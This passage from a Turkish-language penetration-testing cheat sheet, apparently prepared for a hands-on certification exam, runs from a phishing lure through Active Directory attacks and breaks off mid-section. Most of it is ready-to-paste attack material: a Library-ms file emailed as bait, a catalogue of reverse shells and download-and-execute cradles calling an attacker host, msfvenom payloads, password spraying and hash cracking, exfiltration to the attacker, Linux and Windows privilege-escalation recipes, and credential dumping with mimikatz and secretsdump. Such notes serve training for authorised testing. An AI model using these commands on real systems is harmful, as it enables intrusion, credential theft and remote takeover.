config.Library-ms dosyası (kullanıcı açınca senin WebDAV'ını Explorer'da gösterir):
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name><version>6</version>
<isLibraryPinned>true</isLibraryPinned><iconReference>imageres.dll,-1003</iconReference>
<templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>
<searchConnectorDescriptionList><searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported>
<simpleLocation><url>http://LHOST</url></simpleLocation>
</searchConnectorDescription></searchConnectorDescriptionList>
</libraryDescription>
WebDAV klasörüne bir .lnk koy (Windows makinede oluşturulur; hedef olarak):
powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8000/powercat.ps1'); powercat -c LHOST -p 443 -e powershell"
# 2) E-posta ile gönder
swaks -t user@$DOMAIN --from it@$DOMAIN --server $IP --auth LOGIN --auth-user $USER --auth-password $PASS \
--header "Subject: Config" --body "Lütfen ekteki dosyayı açın." --attach @config.Library-ms
Office makrosu senaryosunda: .doc (makro destekli eski format) içine AutoOpen/Document_Open → PowerShell download cradle.
5. Parolalar ve hash'ler
5.1 Brute force ve spray
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 4
hydra -L users.txt -P pass.txt ftp://$IP
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
hydra -l admin -P rockyou.txt $IP http-get /admin/ # Basic auth
hydra -l administrator -P pass.txt rdp://$IP -t 1
# Domain spray: önce politika!
nxc smb $DC -u $USER -p $PASS --pass-pol
nxc smb $DC -u users.txt -p 'Winter2026!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2026!'
Kural: kilitlenme eşiği varsa, kullanıcı başına eşik−1 deneme, sonra gözlem süresi kadar bekle. Brute force son çaredir; önce bağlamdan parola üret:
cewl http://$IP -d 2 -m 5 -w cewl.txt # siteden kelime listesi
hashcat --stdout cewl.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt
# Kendi kuralın: c $1 $! → İlk harf büyük + "1!" (echo 'c $1 $!' > my.rule)
5.2 Hash türleri
| Hash | Görünüm | hashcat -m |
|---|---|---|
| NTLM | 31d6cfe0d16ae931b73c59d7e0c089c0 |
1000 |
| NetNTLMv2 | user::DOMAIN:1122..:... |
5600 |
| Kerberoast (RC4) | $krb5tgs$23$*... |
13100 |
| AS-REP | $krb5asrep$23$... |
18200 |
| MD5 / SHA1 / SHA256 | 32 / 40 / 64 hex | 0 / 100 / 1400 |
| md5crypt / sha512crypt | $1$ / $6$ |
500 / 1800 |
| bcrypt | $2y$10$... |
3200 |
| KeePass | $keepass$*2*... |
13400 |
| Net-NTLMv1 | user::DOMAIN:... |
5500 |
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 kerb.txt rockyou.txt --show
hashcat hash.txt --identify # tür tespiti (hashid de olur)
john --wordlist=rockyou.txt hash.txt ; john --show hash.txt
Önce Pass-the-Hash dene (saniyeler), sonra kır (dakikalar–saatler).
5.3 Dosya parolaları (*2john)
ssh2john id_rsa > h.txt # parolalı SSH anahtarı
keepass2john Database.kdbx > h.txt # KeePass (hashcat için baştaki "Database:" kısmını sil, -m 13400)
zip2john backup.zip > h.txt
office2john doc.docx > h.txt
pdf2john file.pdf > h.txt
john --wordlist=/usr/share/wordlists/rockyou.txt h.txt
# KeePass'i aç
keepassxc-cli ls Database.kdbx ; keepassxc-cli show -s Database.kdbx "Entry Name"
6. Kabuklar (shell)
6.1 Reverse shell kataloğu
Hedefe yapıştırırken LHOST ve 443'ü değiştir. Kali tarafında: rlwrap -cAr nc -lvnp 443.
bash -c 'bash -i >& /dev/tcp/LHOST/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST 443 >/tmp/f
nc -e /bin/bash LHOST 443
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
php -r '$s=fsockopen("LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="LHOST";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Web parametresi içinden (özel karakterler sorun çıkarıyorsa) base64'le:
# Kali'de üret
echo -n 'bash -i >& /dev/tcp/LHOST/443 0>&1' | base64 -w0
# Hedefte çalıştır
echo <B64> | base64 -d | bash
Windows / PowerShell — en güvenilir yol: Kali'de üret, base64 UTF-16LE ile çalıştır:
# Kali'de: (LHOST değişkenden gelir)
cat > rev.ps1 <<EOF
\$c=New-Object Net.Sockets.TCPClient('$LHOST',443);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()};\$c.Close()
EOF
echo "powershell -nop -w hidden -e $(iconv -t UTF-16LE rev.ps1 | base64 -w0)"
# Çıkan tek satırı hedefte (cmd, web RCE, xp_cmdshell...) çalıştır.
Alternatifler: nc64.exe -e cmd.exe LHOST 443 (hedefe yükledikten sonra), powercat:
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/powercat.ps1');powercat -c LHOST -p 443 -e powershell
6.2 msfvenom (her makinede serbest — Meterpreter hariç)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o rev.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o rev32.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o rev.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o rev.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o rev.aspx
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o rev.elf
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o rev.war
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o rev.php
Staged ↔ stageless
windows/x64/shell_reverse_tcp (alt çizgi) stageless'tır, nc ile yakalanır. windows/x64/shell/reverse_tcp (eğik çizgi) staged'dir, sadece multi/handler ile yakalanır. Meterpreter payload'ları Metasploit kısıtlamasına tabidir.
6.3 Linux TTY yükseltme
python3 -c 'import pty;pty.spawn("/bin/bash")' # yoksa: script -qc /bin/bash /dev/null
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm-256color SHELL=/bin/bash
stty rows 50 cols 200 # Kali'de 'stty size' ile kendi değerlerini öğren
Daha sağlam: hedefte socat varsa veya yükleyebiliyorsan tam TTY:
socat file:`tty`,raw,echo=0 tcp-listen:4444 # Kali
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:4444 # hedef
SSH erişimin varsa her şeyi bırak, SSH kullan. Yazma iznin olan bir ev dizinine authorized_keys bırakmak en stabil kabuktur.
6.4 Windows'ta daha iyi kabuk
- WinRM açık ve kimlik varsa:
evil-winrm(upload/download dahili). - RDP:
xfreerdp3 /v:$IP /u:$USER /p:$PASS /cert:ignore /dynamic-resolution +clipboard /drive:share,/home/kali/exam/tools - ConPtyShell (tam etkileşimli):
# Kali
stty raw -echo; (stty size; cat) | nc -lvnp 3001
# Hedef
IEX(IWR http://LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST 3001
- Elinde başka kullanıcının parolası var ama etkileşimli oturum yoksa: RunasCs
.\RunasCs.exe svc_user 'Passw0rd!' cmd.exe -r LHOST:443
6.5 Reverse shell gelmiyorsa
LHOSTgerçekten tun0 IP'si mi? (ip a show tun0)- Listener doğru portta mı?
ss -tlnp | grep 443 - Hedefin çıkışı filtreli olabilir: 80, 443, 53 ya da hedefte zaten açık bir port numarasını dene.
- Önce basit bağlantıyı test et:
curl http://LHOST/test/ping LHOST(tcpdump ile izle). - Mimari: 32-bit süreç/OS'ta x64 payload çalışmaz.
- Özel karakterler (
&,|,') URL/komut içinde bozuluyor → URL-encode veya base64. - Defender dosyayı siliyorsa: bellek içi PowerShell,
nc64.exeyerine powercat; farklı payload formatı.
7. Dosya transferi
7.1 Kali tarafında sunucular (tmux pencere 0'da sürekli açık)
cd ~/exam/tools && python3 -m http.server 80 # indirme
python3 -m uploadserver 8000 # yükleme (pip install uploadserver)
impacket-smbserver share . -smb2support -user k -password k # SMB (yeni Windows misafir erişimi reddeder → kullanıcı/parola kullan)
7.2 Kali → hedef
# Linux hedef
wget http://LHOST/linpeas.sh -O /tmp/lp.sh
curl http://LHOST/linpeas.sh -o /tmp/lp.sh
curl http://LHOST/linpeas.sh | bash # diske yazmadan
# wget/curl yoksa
exec 3<>/dev/tcp/LHOST/80; echo -e "GET /pspy64 HTTP/1.0\r\n\r\n" >&3; cat <&3 > /tmp/p # (HTTP başlığını sonra temizle)
# Windows hedef
iwr http://LHOST/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe
certutil -urlcache -split -f http://LHOST/nc64.exe C:\Windows\Temp\nc.exe
curl.exe http://LHOST/nc64.exe -o C:\Windows\Temp\nc.exe
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/PowerUp.ps1') # bellek içi
net use \\LHOST\share /user:k k ; copy \\LHOST\share\nc64.exe C:\Windows\Temp\
evil-winrm içindeysen: upload /home/kali/exam/tools/winPEASx64.exe / download C:\path\file.
7.3 Hedef → Kali
# Linux
curl -F 'files=@/tmp/loot.tgz' http://LHOST:8000/upload
nc -lvnp 9001 > loot.tgz # Kali
nc LHOST 9001 < /tmp/loot.tgz # hedef
# Windows
copy C:\Windows\Temp\sam.hiv \\LHOST\share\
(New-Object Net.WebClient).UploadFile('http://LHOST:8000/upload','C:\Windows\Temp\loot.zip')
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Windows\Temp\small.txt")) # küçük dosya: kopyala-yapıştır
Bütünlüğü kontrol et: md5sum (Linux) ↔ Get-FileHash -Algorithm MD5 (Windows).
| Hata | Çözüm |
|---|---|
certutil / yazma "Access denied" |
C:\Windows\Temp, C:\Users\Public veya $env:TEMP kullan |
| İndirilen dosya 0 byte / HTML | http.server yanlış dizinde çalışıyor; URL'yi tarayıcıda dene |
| SMB "guest access blocked" | impacket-smbserver ... -user k -password k + net use |
Linux'ta Permission denied çalıştırırken |
chmod +x; /tmp noexec ise /dev/shm veya ev dizini |
8. Linux yetki yükseltme
8.1 Sıralı kontrol listesi (önce manuel 5 dk, sonra linpeas)
id; sudo -l # 1) sudo — en sık yol
find / -perm -4000 -type f 2>/dev/null # 2) SUID
getcap -r / 2>/dev/null # 3) capabilities
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers # 4) cron
ls -la /home/* /opt /var/www /srv; cat ~/.bash_history # 5) parolalar / ilginç dosyalar
ss -tlnp # 6) sadece localhost'ta dinleyen servisler (port forward!)
ps aux | grep -i root # 7) root olarak çalışan özel süreçler
uname -a; cat /etc/os-release; sudo -V | head -1 # 8) kernel/sudo/polkit sürümü
cat /etc/exports 2>/dev/null # 9) NFS no_root_squash
curl http://LHOST/linpeas.sh | bash | tee /tmp/lp.txt # kırmızı-sarı: %95 privesc
./pspy64 # 2–3 dk izle: root'un periyodik komutları
Localhost'ta dinleyen servis (ör. 127.0.0.1:8080) gördüysen: SSH ile ssh -L 8080:127.0.0.1:8080 user@$IP veya chisel/ligolo ile Kali'ye aç — çoğu zaman root olarak çalışan bir web uygulamasıdır.
8.2 sudo
sudo -l çıktısındaki her binary için GTFOBins'e bak (gtfobins.github.io → "Sudo"). En sık olanlar:
sudo vim -c ':!/bin/bash'
sudo find . -exec /bin/bash \; -quit
sudo awk 'BEGIN {system("/bin/bash")}'
sudo less /etc/hosts # içinde: !/bin/bash
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo env /bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help config # içinde: !/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'bash #'
sudo -l çıktısında |
Yol |
|---|---|
(ALL) NOPASSWD: /path/script.sh ve script yazılabilir |
İçine bash -p ekle |
| Script kendisi yazılamıyor ama içinde tam yolsuz komut var | secure_path yoksa PATH hijack |
Script içinde * joker |
wildcard injection (tar/rsync/chown) |
env_keep+=LD_PRELOAD |
Aşağıdaki LD_PRELOAD |
(ALL, !root) ve sudo < 1.8.28 |
sudo -u#-1 /bin/bash (CVE-2019-14287) |
Kendi parolan biliniyor ve (ALL : ALL) ALL |
sudo -i 😊 |
LD_PRELOAD:
// /tmp/x.c
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so <sudo ile izinli herhangi bir komut>
8.3 SUID ve capabilities
GTFOBins'te "SUID" bölümüne bak (sudo komutundan farklıdır: genelde -p gerekir).
/usr/bin/bash -p # SUID bash
find . -exec /bin/sh -p \; -quit # SUID find
python3 -c 'import os; os.execl("/bin/sh","sh","-p")' # SUID python
env /bin/sh -p # SUID env
# SUID cp / yazılabilir /etc/passwd: root yetkili kullanıcı ekle
openssl passwd -1 -salt x Passw0rd # çıktı: $1$x$...
cp /etc/passwd /tmp/p; echo 'r00t:<HASH>:0:0:root:/root:/bin/bash' >> /tmp/p
cp /tmp/p /etc/passwd # (SUID cp ile) → su r00t
Bilinmeyen (özel) SUID binary: strings / ltrace ile çalıştırdığı komutlara bak → tam yolsuz çağrı varsa PATH hijack:
strings /usr/local/bin/backup | less
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/tar; chmod +x /tmp/tar
PATH=/tmp:$PATH /usr/local/bin/backup
| Capability | Sömürü |
|---|---|
cap_setuid+ep (python/perl/node…) |
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' |
cap_dac_read_search |
Her dosyayı oku (/etc/shadow, root'un SSH anahtarı) |
cap_dac_override |
Her dosyaya yaz (/etc/passwd) |
8.4 Cron ve zamanlanmış işler
cat /etc/crontab /etc/cron.d/*; ls -la /etc/cron.*
./pspy64 # crontab'da görünmeyen root işlerini yakala
- Root'un çalıştırdığı script yazılabilir:
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/script.sh→ bekle →/tmp/rb -p - Script tam yolsuz komut çağırıyor ve crontab'daki
PATH'te yazılabilir bir dizin önce geliyor → o dizine aynı isimde script. - Joker (wildcard):
cd /var/backups && tar czf /tmp/b.tgz *
cd /var/backups
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
8.5 Gruplar
id çıktısındaki gruplara bak:
| Grup | Yol |
|---|---|
docker |
docker run -v /:/mnt --rm -it <mevcut imaj> chroot /mnt bash (docker images ile imaj adını öğren) |
lxd / lxc |
Alpine imajı içe aktar, security.privileged=true, /'yi bağla |
disk |
debugfs /dev/sda1 → cat /root/.ssh/id_rsa |
adm |
/var/log/* oku → loglarda parola |
shadow |
/etc/shadow oku → kır |
sudo / wheel |
Kullanıcının parolasını bulursan doğrudan root |
8.6 NFS no_root_squash
# Hedefte: cat /etc/exports → /srv/share *(rw,no_root_squash)
# Kali'de (root):
sudo mount -t nfs -o vers=3 $IP:/srv/share /mnt/nfs
cat > /tmp/r.c <<'EOF'
#include <unistd.h>
int main(){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
sudo gcc -static /tmp/r.c -o /mnt/nfs/r && sudo chmod +s /mnt/nfs/r
# Hedefte:
/srv/share/r
(-static derleme, Kali ile hedef arasındaki glibc sürüm farkı yüzünden çalışmama sorununu önler. Kali'deki /bin/bash'i kopyalamak bu yüzden çoğu zaman başarısız olur.)
8.7 Kernel ve bilinen yerel CVE'ler (son çare)
| CVE | Hedef | Koşul |
|---|---|---|
| CVE-2021-4034 PwnKit | pkexec | polkit < 0.120 (2022 başı öncesi neredeyse tüm dağıtımlar) |
| CVE-2021-3156 Baron Samedit | sudo | 1.8.2–1.8.31p2, 1.9.0–1.9.5p1 |
| CVE-2022-0847 Dirty Pipe | kernel | 5.8 ≤ sürüm < 5.16.11 / 5.15.25 / 5.10.102 |
| CVE-2023-2640 + 32629 GameOverlay | Ubuntu kernel | Belirli Ubuntu çekirdekleri (OverlayFS) |
| CVE-2023-4911 Looney Tunables | glibc | 2.34–2.38 (yamasız) |
| CVE-2016-5195 Dirty COW | kernel | < 4.8.3 (eski hedefler) |
uname -r; cat /etc/os-release; dpkg -l | grep -E 'policykit|sudo |libc6'
./linux-exploit-suggester.sh
Kernel exploit makineyi çökertebilir → önce her şeyi dene, çalıştırmadan önce kanıtlarını (local.txt) topla. Makine çökerse panelden revert gerekir (en fazla 24; bir kez sıfırlatılabilir).
8.8 Linux privesc karar tablosu
| Bulgu | Yol |
|---|---|
sudo -l sonuç veriyor |
GTFOBins "Sudo" / script yazma / LD_PRELOAD |
| Standart dışı SUID | GTFOBins "SUID"; özel binary ise strings + PATH hijack |
| Capability | 8.3 tablo |
| Root cron + yazılabilir script / joker | 8.4 |
| docker/lxd/disk grubu | 8.5 |
| 127.0.0.1'de servis | Port forward → web uygulaması / DB |
| Config dosyasında parola | su root, su <diğer kullanıcı> |
| NFS no_root_squash | 8.6 |
| Eski kernel / sudo / polkit | 8.7 (son çare) |
9. Windows yetki yükseltme
9.1 Sıralı kontrol listesi
whoami /priv # 1) SeImpersonate vb. → 9.5
whoami /groups # 2) Administrators (UAC?), Backup Operators, Server Operators, DnsAdmins
net user <kendin>; net localgroup administrators
systeminfo # 3) OS sürümü, yamalar, mimari
# 4) Parolalar (9.2) — EN VERİMLİ
# 5) Servisler (9.3)
Get-CimInstance win32_service | ?{$_.PathName -notlike "C:\Windows*"} | select Name,StartName,State,StartMode,PathName
# 6) Zamanlanmış görevler
schtasks /query /fo LIST /v | findstr /i "TaskName Run.As Task.To.Run"
# 7) Kurulu yazılım ve ilginç dizinler
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersion
dir C:\ ; dir "C:\Program Files" ; dir "C:\Program Files (x86)" ; dir C:\Users\*\Desktop
netstat -ano | findstr LISTENING # 8) sadece içeriden erişilen servisler
Sonra otomatik: .\winPEASx64.exe ve . .\PowerUp.ps1; Invoke-AllChecks — ikisinin bulgusunu da manuel doğrula.
9.2 Kimlik bilgisi avı (Windows'ta en verimli privesc)
# PowerShell geçmişi (her kullanıcı için)
Get-History
type (Get-PSReadlineOption).HistorySavePath
dir C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# PowerShell transcript dosyaları
dir C:\ -Recurse -Include *transcript*.txt -ErrorAction SilentlyContinue
# İlginç dosyalar
Get-ChildItem C:\Users -Include *.txt,*.ini,*.xml,*.config,*.kdbx,*.ps1,*.zip -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
findstr /si /m "password" C:\inetpub\*.config C:\xampp\*.ini C:\Users\*.txt 2>nul
# Kayıt defteri / otomatik oturum
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "Default"
reg query HKLM /f password /t REG_SZ /s 2>nul | findstr /i "password"
# Kurulum kalıntıları
type C:\Windows\Panther\Unattend.xml ; type C:\Windows\Panther\unattend\Unattend.xml
# Kaydedilmiş kimlikler
cmdkey /list # varsa: runas /savecred /user:<kullanıcı> "C:\Windows\Temp\rev.exe"
Event Viewer → PowerShell Operational → Script Block Logging (4104) kayıtlarında da parola geçebilir:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | ?{$_.Id -eq 4104} | select -First 50 -Expand Message
9.3 Servisler
(a) Servis binary'si yazılabilir (binary hijacking):
icacls "C:\Program Files\App\svc.exe" # (F) veya (M) senin grubunda mı? (BUILTIN\Users, Everyone, Authenticated Users)
// adduser.c → x86_64-w64-mingw32-gcc adduser.c -o svc.exe
#include <stdlib.h>
int main(){ system("net user hacker Passw0rd! /add"); system("net localgroup administrators hacker /add"); return 0; }
move "C:\Program Files\App\svc.exe" C:\Windows\Temp\svc.bak
iwr http://LHOST/svc.exe -OutFile "C:\Program Files\App\svc.exe"
Restart-Service App # izin yoksa ve StartMode=Auto ise: shutdown /r /t 0 (SeShutdownPrivilege gerekir)
(Reverse shell isteyenler msfvenom ... -f exe-service kullanabilir; düz -f exe servis olarak başlatılınca birkaç saniyede ölür.)
(b) Servis yapılandırması değiştirilebilir:
.\accesschk64.exe /accepteula -uwcqv $env:USERNAME * # SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS
sc.exe qc <svc>
sc.exe config <svc> binPath= "C:\Windows\Temp\nc.exe -e cmd.exe LHOST 443"
sc.exe stop <svc>; sc.exe start <svc>
(c) Tırnaksız yol (unquoted service path):
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# C:\Program Files\My App\Bin\svc.exe → sırayla: C:\Program.exe, C:\Program Files\My.exe, C:\Program Files\My App\Bin.exe
icacls "C:\Program Files\My App" # yazılabilir dizine uygun isimli exe bırak, servisi yeniden başlat
(d) DLL hijacking: Servis/uygulama, yazılabilir bir dizinden olmayan bir DLL'i arıyorsa (Process Monitor'da NAME NOT FOUND; hedefte genelde yok → aynı uygulamayı kendi Windows VM'inde incele):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll
9.4 Zamanlanmış görevler ve AlwaysInstallElevated
schtasks /query /fo LIST /v | findstr /i "TaskName Run.As Task.To.Run"
icacls C:\path\to\task.ps1 # yazılabilir ve "Run As" yetkili hesap ise → içeriği değiştir
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# İkisi de 0x1 ise:
msiexec /quiet /qn /i C:\Windows\Temp\rev.msi
9.5 Yetkiler (whoami /priv)
| Yetki | Yol |
|---|---|
| SeImpersonatePrivilege | Potato ailesi (IIS, MSSQL, servis hesaplarında çok sık) |
| SeBackupPrivilege | SAM/SYSTEM kopyala; DC'de ntds.dit (aşağıda) |
| SeRestorePrivilege | Korunan dosyalara yaz (ör. utilman.exe değiştir) |
| SeManageVolumePrivilege | SeManageVolumeExploit.exe → C:\ yazma → DLL hijack |
| SeTakeOwnershipPrivilege | takeown + icacls → sistem dosyasını değiştir |
| SeDebugPrivilege | LSASS dump / SYSTEM sürecine enjeksiyon |
| SeLoadDriverPrivilege | Zafiyetli sürücü (Capcom) — nadir |
# SeImpersonate
.\PrintSpoofer64.exe -i -c powershell.exe # Win10 / Server 2016-2019
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe LHOST 443 -e cmd"
.\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe LHOST 443 -e cmd" # Server 2012–2022 / Win8–11
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe LHOST 443 -e cmd"
Bir Potato çalışmazsa diğerini dene; .NET sürümünü (GodPotato-NET2/NET35/NET4) hedefe göre seç.
SeBackupPrivilege (üye sunucu):
reg save HKLM\SAM C:\Windows\Temp\sam ; reg save HKLM\SYSTEM C:\Windows\Temp\system
# Kali: impacket-secretsdump -sam sam -system system LOCAL
SeBackupPrivilege / Backup Operators (DC → ntds.dit):
# diskshadow.txt (Windows satır sonlarıyla: unix2dos)
set context persistent nowriters
add volume c: alias x
create
expose %x% z:
diskshadow /s C:\Windows\Temp\diskshadow.txt
robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\system
# Kali: impacket-secretsdump -ntds ntds.dit -system system LOCAL
9.6 Gruplar
| Grup | Yol |
|---|---|
| Administrators ama Medium integrity | UAC bypass (9.7) |
| Backup Operators | 9.5 (SAM / ntds.dit) |
| Server Operators | sc.exe config <svc> binPath= ile servis değiştir, başlat → SYSTEM |
| DnsAdmins | dnscmd /config /serverlevelplugindll \\LHOST\share\x.dll + DNS servisini yeniden başlat |
| Event Log Readers | Güvenlik loglarında komut satırı parolaları (4688) |
| Remote Management Users | evil-winrm ile giriş hakkı |
9.7 UAC bypass (Administrators üyesi + Medium integrity)
whoami /groups | findstr Label # Medium Mandatory Level → UAC
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name DelegateExecute -Value "" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Windows\Temp\nc.exe LHOST 443 -e cmd.exe" -Force
Start-Process C:\Windows\System32\fodhelper.exe
Parola biliniyorsa daha basit: RDP ile gir, "Yönetici olarak çalıştır" — ya da RunasCs.exe user pass cmd.exe -r LHOST:443 --bypass-uac.
9.8 Admin/SYSTEM olduktan sonra (sadece flag değil!)
# Yerel hash'ler
reg save HKLM\SAM C:\Windows\Temp\sam; reg save HKLM\SYSTEM C:\Windows\Temp\system; reg save HKLM\SECURITY C:\Windows\Temp\security
# Bellekteki kimlikler (AD setinde KRİTİK: bir sonraki makinenin anahtarı genelde buradadır)
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" "exit"
# Kali'den uzaktan (yerel admin kimliğiyle)
impacket-secretsdump $DOMAIN/$USER:$PASS@$IP
nxc smb $IP -u administrator -H <NTLM> --local-auth --sam --lsa
nxc smb $IP -u $USER -p $PASS -M lsassy
Defender mimikatz'ı siliyorsa: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass PID> C:\Windows\Temp\l.dmp full (yönetici PowerShell) → Kali'de pypykatz lsa minidump l.dmp.
Sonra: kullanıcı masaüstleri/dokümanları, .kdbx, tarayıcı/uygulama config'leri, ipconfig /all (ikinci ağ kartı = pivot), cmdkey /list.
9.9 Eski / yamasız sistemler
systeminfo çıktısını Kali'de wes.py systeminfo.txt --impact "Elevation of Privilege" ile tara. Klasikler: MS17-010 (2008/7), PrintNightmare CVE-2021-34527/1675 (Spooler açıksa), HiveNightmare CVE-2021-36934 (icacls C:\Windows\System32\config\SAM → BUILTIN\Users:(RX)).
9.10 Windows privesc karar tablosu
| Bulgu | Yol |
|---|---|
| SeImpersonate | GodPotato / PrintSpoofer / JuicyPotatoNG |
| Geçmiş/config/kdbx'te parola | RunasCs / evil-winrm / RDP |
| Yazılabilir servis binary'si | Değiştir + yeniden başlat / reboot |
| Servis config yetkisi | sc config binPath |
| Tırnaksız yol + yazılabilir dizin | Uygun isimli exe |
| Yazılabilir görev script'i | İçeriği değiştir |
| AlwaysInstallElevated | MSI |
| Admin grubu + Medium | fodhelper UAC bypass |
| Backup/Server Operators, DnsAdmins | 9.5 / 9.6 |
localhost'ta dinleyen servis |
Port forward → incele |
9.11 Hızlı referans: ilk 10 dakika
whoami /all; hostname; ipconfig /all; systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
net user; net localgroup administrators; netstat -ano | findstr LISTENING
Get-History; type (Get-PSReadlineOption).HistorySavePath
dir C:\Users\*\Desktop, C:\Users\*\Documents -ErrorAction SilentlyContinue
10. Active Directory (varsayılan ihlal senaryosu)
10.1 AD karar ağacı
Verilen kullanıcı (user:pass) + DC IP
│
├─ 1. Doğrula ve haritala ─► nxc smb <subnet> → hangi makineler, hangileri imzasız, hangi isimler
├─ 2. Kanallar ──────────────► nxc smb/winrm/rdp/mssql/ldap ile bu kullanıcıyı HER makinede dene
├─ 3. Enum ──────────────────► kullanıcılar + açıklamaları, gruplar, share'ler, BloodHound
│
├─ SPN'li kullanıcı ─────────► Kerberoast → 13100 → parola → spray / giriş
├─ Preauth kapalı ───────────► AS-REP roast → 18200
├─ Share'de dosya ───────────► script/config/kdbx/xml → parola
├─ Bir makinede yerel admin ─► mimikatz/secretsdump → yeni hash/parolalar → 2. adıma dön
├─ BloodHound ACL kenarı ────► ForceChangePassword / GenericAll / GenericWrite / WriteDACL / AddMember
├─ MSSQL erişimi ────────────► xp_cmdshell → SeImpersonate → Potato
├─ Makinede shell var, admin değil ► Bölüm 9 (yerel privesc) → sonra dump
└─ DA / DC'de SYSTEM ────────► proof.txt (DC'de) + DCSync
AD'de ilerleme döngüseldir: yeni kimlik → her yerde dene → yeni makine → dump → yeni kimlik. Her yeni kimlikte BloodHound'da o kullanıcıyı "Owned" işaretle ve yolları yeniden sorgula.
10.2 İlk 15 dakika
# Saat senkronu (Kerberos 5 dk farka toleranslı)
sudo ntpdate -u $DC # veya: sudo rdate -n $DC
# DC ve domain adı
nxc smb $DC
